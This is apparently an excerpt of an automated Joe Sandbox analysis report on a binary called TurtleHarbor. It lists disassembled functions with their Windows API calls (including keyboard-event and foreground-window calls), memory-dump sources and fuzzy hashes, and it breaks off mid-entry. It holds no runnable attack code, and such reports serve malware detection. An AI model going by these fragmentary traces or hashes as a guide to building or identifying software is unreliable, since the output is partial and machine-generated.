                                            • Instruction ID: 044b841eaf72fadd21e65c112330e4be8ec1f3efee8096cc8ae2433e0b0e169f
                                            • Opcode Fuzzy Hash: 5d71d2f9cd774a245e791b5d69453ce42504f3ab7b92c8dd455d029b128cdfbc
                                            • Instruction Fuzzy Hash: BE410974508351DFDB1ADF54C495B5ABBE1BF49308F0A88ACE8894B362C371EC85CB52
                                            Function 003249C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00324B29: FreeLibrary.KERNEL32(00000000,?), ref: 00324B63
                                              • Part of subcall function 0033547B: __wfsopen.LIBCMT ref: 00335486
                                            • LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,?,003227AF,?,00000001), ref: 003249F4
                                              • Part of subcall function 00324ADE: FreeLibrary.KERNEL32(00000000), ref: 00324B18
                                              • Part of subcall function 003248B0: _memmove.LIBCMT ref: 003248FA
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Library$Free$Load__wfsopen_memmove
                                            • String ID:
                                            • API String ID: 1396898556-0
                                            • Opcode ID: 3e1d09a03fc7fcbce6d1c793d0bc2ae43e7e378a1d4c1d8808eed566f314d8fe
                                            • Instruction ID: f6372d00ab21ee3e70263c38266c9a14346a782a9390582ee1e5721577bf1270
                                            • Opcode Fuzzy Hash: 3e1d09a03fc7fcbce6d1c793d0bc2ae43e7e378a1d4c1d8808eed566f314d8fe
                                            • Instruction Fuzzy Hash: 4011E332650225ABCB16FB70EC06FAE77A99F40701F10842DF582AE191EB759A10AB94
                                            Function 0034E3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClearVariant
                                            • String ID:
                                            • API String ID: 1473721057-0
                                            • Opcode ID: 40f9959812dfa2e9c7a4e16d8c969d5cdbefb95d84b5b60553fff6d4776492b3
                                            • Instruction ID: c0df0cf51003d5b495aed0842af54bbc71bdf114142916d768e70f72b8937b3a
                                            • Opcode Fuzzy Hash: 40f9959812dfa2e9c7a4e16d8c969d5cdbefb95d84b5b60553fff6d4776492b3
                                            • Instruction Fuzzy Hash: 0821E4B4508341DFDB1ADF54C445A5ABBE5BF89304F05896CF88A5B722C731E889CB52
                                            Function 00321A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove
                                            • String ID:
                                            • API String ID: 4104443479-0
                                            • Opcode ID: 76d5dfd19126f7aba3bb295fb5ed34499109e4abbdc830f683e47744b2f34f36
                                            • Instruction ID: a3721a4a5989fe950646d9c11e4ce32b0bfd00c70998fec89f48b7c7f6165694
                                            • Opcode Fuzzy Hash: 76d5dfd19126f7aba3bb295fb5ed34499109e4abbdc830f683e47744b2f34f36
                                            • Instruction Fuzzy Hash: 7401F9722017116ED3265F38DD02F77BBA8DB447A0F10852EF51ACE1D1EA31E4408790
                                            Function 0036FEF8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove
                                            • String ID:
                                            • API String ID: 4104443479-0
                                            • Opcode ID: 524012750e4e2dcf7e61148e9ab6183d9ead0e35b9a22c255aa3d145d03428bc
                                            • Instruction ID: 5b5930ef0986e6d5aaa50c23b4544e445625a26486fb08ea041d4d450e6fd47c
                                            • Opcode Fuzzy Hash: 524012750e4e2dcf7e61148e9ab6183d9ead0e35b9a22c255aa3d145d03428bc
                                            • Instruction Fuzzy Hash: 200186722002156BCB19DF2DD89196BB7A9EF86354714857EF90ACF245E631E901C790
                                            Function 0038495B Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00384998
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: EnvironmentVariable
                                            • String ID:
                                            • API String ID: 1431749950-0
                                            • Opcode ID: 16543c6b5064f728f759643e01c2de60fd4fa9011dbc41720731268c86e0c1b5
                                            • Instruction ID: 257a0195e418e3abab55118640a99cf60aed1cf3a8f53712dc9ed1e8884c8e0f
                                            • Opcode Fuzzy Hash: 16543c6b5064f728f759643e01c2de60fd4fa9011dbc41720731268c86e0c1b5
                                            • Instruction Fuzzy Hash: 8BF03175608205AF9B16FB65D846C9F7BBCEF49320B004455F9099B261EE70AD41C750
                                            Function 00324A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _fseek
                                            • String ID:
                                            • API String ID: 2937370855-0
                                            • Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
                                            • Instruction ID: b4ae826f78b3b57ad5ccd1d6eb520fb9dfa0d94faa60aea70eaab1c0e9322753
                                            • Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
                                            • Instruction Fuzzy Hash: 4DF08CB6400208BFDF168F54DC00CEB7B7DEB85320F004198F9045A110D232EA219BA0
                                            Function 00324A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                            Download Yara Rule
                                            APIs
                                            • FreeLibrary.KERNEL32(?,?,?,003227AF,?,00000001), ref: 00324A63
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FreeLibrary
                                            • String ID:
                                            • API String ID: 3664257935-0
                                            • Opcode ID: 8bce5a8e841fd58dc9b23ad43146e2f3043fcc7ed11cfc1b0f57fa92f9c07f2b
                                            • Instruction ID: 66fa017d926ae4483ea64e886b6576f33940177c779fc49cc45deb805dcd42da
                                            • Opcode Fuzzy Hash: 8bce5a8e841fd58dc9b23ad43146e2f3043fcc7ed11cfc1b0f57fa92f9c07f2b
                                            • Instruction Fuzzy Hash: C1F01571145721CFCB369F64F490816BBF4AF14325321892EE1D783A10C731A984DF44
                                            Function 00324AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __fread_nolock
                                            • String ID:
                                            • API String ID: 2638373210-0
                                            • Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
                                            • Instruction ID: 372fb4e686daeb9c4efd0a946c47af647da05102a4769677a2b645c2d939a9c4
                                            • Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
                                            • Instruction Fuzzy Hash: B2F0F87250020DFFDF05CF90C941EAABB79FB14314F208589F9198B212D336DA21ABA1
                                            Function 003309C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003309E4
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LongNamePath_memmove
                                            • String ID:
                                            • API String ID: 2514874351-0
                                            • Opcode ID: 2151097895adb00e874beec02f6a4db2994384cef1b4d7ffa6b9892aba4fffba
                                            • Instruction ID: 71e99cb53c71d02016a41a5e07f09895a145fa537d81a67bad6396c876f1328a
                                            • Opcode Fuzzy Hash: 2151097895adb00e874beec02f6a4db2994384cef1b4d7ffa6b9892aba4fffba
                                            • Instruction Fuzzy Hash: 16E0863690012857C72296989C05FEAB7DDDB89790F0401B6FC08DB344D960AC818691
                                            Function 003777C2 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateThread.KERNELBASE(00000000,00000000,Function_000677A8,?,00000000,?), ref: 003777DD
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateThread
                                            • String ID:
                                            • API String ID: 2422867632-0
                                            • Opcode ID: 491aacd54a9c30c2d99e6915ab50a6507555767332d440fa422950a586bf8874
                                            • Instruction ID: f95d31b8bd05a2672162fa0ce9a29110f453bc997ca2bb4cb49c3aafe86345b7
                                            • Opcode Fuzzy Hash: 491aacd54a9c30c2d99e6915ab50a6507555767332d440fa422950a586bf8874
                                            • Instruction Fuzzy Hash: 81D017B1438318BFAA2D8B64DC4ACB7779CEA06222740436EF80982600E7A5BC0086A0
                                            Function 00374D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                            Download Yara Rule
                                            APIs
                                            • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00374D31
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FolderPath_memmove
                                            • String ID:
                                            • API String ID: 3334745507-0
                                            • Opcode ID: 9414b72ab1f729aa83c5e22003f1812677b4f614ee73623703a0473235c35565
                                            • Instruction ID: dd0fcf6e53f961b02a767626198cf9d42760f1760ad8fa82aec65456eea7f4a2
                                            • Opcode Fuzzy Hash: 9414b72ab1f729aa83c5e22003f1812677b4f614ee73623703a0473235c35565
                                            • Instruction Fuzzy Hash: B2D05EB190032C2BDB64E6A5AC4DDB77BACE745220F0006A17C5CC3101E9249D458AE0
                                            Function 0033547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __wfsopen
                                            • String ID:
                                            • API String ID: 197181222-0
                                            • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                            • Instruction ID: 3c97f7c5414a111479f9aa3779f1108c24abc0904b6f66b3dd48c850f52de919
                                            • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                            • Instruction Fuzzy Hash: 8AB0927644420C77CE022A82EC03A593B299B40668F408020FB0C5C162A673A6A09689
                                            Function 00333588 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                            Download Yara Rule
                                            APIs
                                            • _doexit.LIBCMT ref: 00333592
                                              • Part of subcall function 00333459: __lock.LIBCMT ref: 00333467
                                              • Part of subcall function 00333459: DecodePointer.KERNEL32(003CCB70,0000001C,003333B2,00331003,00000001,00000000,?,00333300,000000FF,?,00339E5E,00000011,00331003,?,00339CAC,0000000D), ref: 003334A6
                                              • Part of subcall function 00333459: DecodePointer.KERNEL32(?,00333300,000000FF,?,00339E5E,00000011,00331003,?,00339CAC,0000000D), ref: 003334B7
                                              • Part of subcall function 00333459: EncodePointer.KERNEL32(00000000,?,00333300,000000FF,?,00339E5E,00000011,00331003,?,00339CAC,0000000D), ref: 003334D0
                                              • Part of subcall function 00333459: DecodePointer.KERNEL32(-00000004,?,00333300,000000FF,?,00339E5E,00000011,00331003,?,00339CAC,0000000D), ref: 003334E0
                                              • Part of subcall function 00333459: EncodePointer.KERNEL32(00000000,?,00333300,000000FF,?,00339E5E,00000011,00331003,?,00339CAC,0000000D), ref: 003334E6
                                              • Part of subcall function 00333459: DecodePointer.KERNEL32(?,00333300,000000FF,?,00339E5E,00000011,00331003,?,00339CAC,0000000D), ref: 003334FC
                                              • Part of subcall function 00333459: DecodePointer.KERNEL32(?,00333300,000000FF,?,00339E5E,00000011,00331003,?,00339CAC,0000000D), ref: 00333507
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Pointer$Decode$Encode$__lock_doexit
                                            • String ID:
                                            • API String ID: 2158581194-0
                                            • Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
                                            • Instruction ID: 6e95f824bb6da6c12c590e90b0127ad6922e7dd7d24edc0d12089f6d7434b04b
                                            • Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
                                            • Instruction Fuzzy Hash: F0B0123198030C33EA122642EC03F153B0C4B40B50F104020FA0C1C1E1A9D3B66040C9

                                            Non-executed Functions

                                            Function 0039D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0039D208
                                            • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0039D249
                                            • GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0039D28E
                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0039D2B8
                                            • SendMessageW.USER32 ref: 0039D2E1
                                            • _wcsncpy.LIBCMT ref: 0039D359
                                            • GetKeyState.USER32(00000011), ref: 0039D37A
                                            • GetKeyState.USER32(00000009), ref: 0039D387
                                            • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0039D39D
                                            • GetKeyState.USER32(00000010), ref: 0039D3A7
                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0039D3D0
                                            • SendMessageW.USER32 ref: 0039D3F7
                                            • SendMessageW.USER32(?,00001030,?,0039B9BA), ref: 0039D4FD
                                            • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0039D513
                                            • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0039D526
                                            • SetCapture.USER32(?), ref: 0039D52F
                                            • ClientToScreen.USER32(?,?), ref: 0039D594
                                            • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0039D5A1
                                            • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0039D5BB
                                            • ReleaseCapture.USER32 ref: 0039D5C6
                                            • GetCursorPos.USER32(?), ref: 0039D600
                                            • ScreenToClient.USER32(?,?), ref: 0039D60D
                                            • SendMessageW.USER32(?,00001012,00000000,?), ref: 0039D669
                                            • SendMessageW.USER32 ref: 0039D697
                                            • SendMessageW.USER32(?,00001111,00000000,?), ref: 0039D6D4
                                            • SendMessageW.USER32 ref: 0039D703
                                            • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0039D724
                                            • SendMessageW.USER32(?,0000110B,00000009,?), ref: 0039D733
                                            • GetCursorPos.USER32(?), ref: 0039D753
                                            • ScreenToClient.USER32(?,?), ref: 0039D760
                                            • GetParent.USER32(?), ref: 0039D780
                                            • SendMessageW.USER32(?,00001012,00000000,?), ref: 0039D7E9
                                            • SendMessageW.USER32 ref: 0039D81A
                                            • ClientToScreen.USER32(?,?), ref: 0039D878
                                            • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0039D8A8
                                            • SendMessageW.USER32(?,00001111,00000000,?), ref: 0039D8D2
                                            • SendMessageW.USER32 ref: 0039D8F5
                                            • ClientToScreen.USER32(?,?), ref: 0039D947
                                            • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0039D97B
                                              • Part of subcall function 003129AB: GetWindowLongW.USER32(?,000000EB), ref: 003129BC
                                            • GetWindowLongW.USER32(?,000000F0), ref: 0039DA17
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                            • String ID: @GUI_DRAGID$F
                                            • API String ID: 3977979337-4164748364
                                            • Opcode ID: 71af700661660b5ad1592b7d27dfef07a873512cbd443f076f3fcc9d93e6ed5b
                                            • Instruction ID: c60ffedbb74419fec7e4189b1189077f4aaa976245a485309ca21d2aa6c15aef
                                            • Opcode Fuzzy Hash: 71af700661660b5ad1592b7d27dfef07a873512cbd443f076f3fcc9d93e6ed5b
                                            • Instruction Fuzzy Hash: EC42D135208341AFCB26DF28C885FAABBE9FF4A310F15061DF6958B2A1D771D854CB52
                                            Function 00325EDA Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetForegroundWindow.USER32(00000000,?), ref: 00325EE2
                                            • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003610D7
                                            • IsIconic.USER32(?), ref: 003610E0
                                            • ShowWindow.USER32(?,00000009), ref: 003610ED
                                            • SetForegroundWindow.USER32(?), ref: 003610F7
                                            • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0036110D
                                            • GetCurrentThreadId.KERNEL32 ref: 00361114
                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 00361120
                                            • AttachThreadInput.USER32(?,00000000,00000001), ref: 00361131
                                            • AttachThreadInput.USER32(?,00000000,00000001), ref: 00361139
                                            • AttachThreadInput.USER32(00000000,?,00000001), ref: 00361141
                                            • SetForegroundWindow.USER32(?), ref: 00361144
                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 00361159
                                            • keybd_event.USER32(00000012,00000000), ref: 00361164
                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 0036116E
                                            • keybd_event.USER32(00000012,00000000), ref: 00361173
                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 0036117C
                                            • keybd_event.USER32(00000012,00000000), ref: 00361181
                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 0036118B
                                            • keybd_event.USER32(00000012,00000000), ref: 00361190
                                            • SetForegroundWindow.USER32(?), ref: 00361193
                                            • AttachThreadInput.USER32(?,?,00000000), ref: 003611BA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                            • String ID: Shell_TrayWnd
                                            • API String ID: 4125248594-2988720461
                                            • Opcode ID: aa0e2fbd384f9f572281d0f73bd2334363fb7aeeb8bef9f6be29c93bda9263d9
                                            • Instruction ID: d9b62722b9e4b8ec96e3eed358d7406b17e5be03d8d5fe8b8b616e368c346821
